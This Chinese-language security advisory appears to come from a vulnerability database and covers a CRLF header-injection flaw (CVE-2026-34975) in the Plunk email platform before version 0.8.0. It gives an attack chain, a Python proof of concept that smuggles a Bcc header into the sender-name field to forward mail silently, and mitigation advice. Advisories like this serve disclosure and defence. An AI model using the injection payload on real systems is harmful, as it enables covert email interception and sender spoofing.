IPBUF安全漏洞报告
English
CVE-2026-34975 CVSS 8.5 高危

CVE-2026-34975 Plunk CRLF注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-34975
漏洞类型
CRLF注入
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Plunk

相关标签

CRLF注入邮件安全PlunkAWS SES高危漏洞

漏洞概述

Plunk是一个基于AWS SES构建的开源电子邮件平台。在0.8.0版本之前,该平台在SESService.ts文件中存在CRLF头注入漏洞。由于未经过滤的用户输入被直接插入到原始MIME消息中,攻击者可以通过在特定字段(如发件人名称、主题、自定义标头或附件文件名)中注入回车换行符,从而伪造任意电子邮件头。这可能导致邮件被静默转发、回复重定向或发送者欺骗。该漏洞在0.8.0版本中已通过添加输入验证得到修复。

技术细节

该漏洞的根本原因在于Plunk在处理电子邮件发送逻辑时,缺乏对用户输入的严格清洗。具体而言,在SESService.ts组件中,系统直接将用户提供的from.name、subject、自定义头键/值以及附件文件名等数据拼接到原始MIME消息结构中。由于没有对CRLF字符(\r和\n)进行转义或过滤,经过身份验证的API用户可以利用这一缺陷在MIME头部插入恶意构造的控制字符。攻击者可以在合法字段末尾添加\r\n,紧接着写入新的头部字段(如Bcc或Reply-To)。这使得攻击者能够绕过正常的邮件发送限制,将邮件秘密抄送给第三方,或者设置欺骗性的回复地址,进而实施网络钓鱼或信息窃取攻击。修复方案通过在Schema层面引入输入验证机制,检测并拒绝包含\r或\n的输入,从而封堵了注入路径。

攻击链分析

STEP 1
步骤1:侦察
攻击者确认目标使用的是Plunk平台,且版本低于0.8.0。
STEP 2
步骤2:获取凭证
攻击者获取一个经过身份验证的API用户凭证,因为漏洞利用需要低权限认证。
STEP 3
步骤3:构造恶意载荷
攻击者在API请求的from.name、subject等字段中插入包含\r\n字符的字符串,并在其后添加恶意的邮件头(如Bcc)。
STEP 4
步骤4:发送请求
攻击者向Plunk的发送邮件API接口发送包含恶意载荷的POST请求。
STEP 5
步骤5:利用成功
服务器将未经过滤的数据拼接到MIME消息中,导致邮件被发送时包含攻击者注入的头部,实现邮件转发或欺骗。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target API endpoint url = "https://api.plunk.example/v1/send" # Attacker's API token (requires authentication) api_key = "YOUR_PLUNK_API_KEY" headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json" } # Payload demonstrating CRLF injection in the 'from.name' field # Injects a 'Bcc' header to silently forward the email malicious_name = "Admin\r\nBcc: [email protected]" payload = { "to": "[email protected]", "subject": "Important Notification", "from": { "email": "[email protected]", "name": malicious_name }, "body": "This is a test email." } response = requests.post(url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

影响范围

Plunk < 0.8.0

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)或API网关处配置规则,拦截包含\r(回车)和\n(换行)字符的请求参数,特别是针对邮件发送相关的API端点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表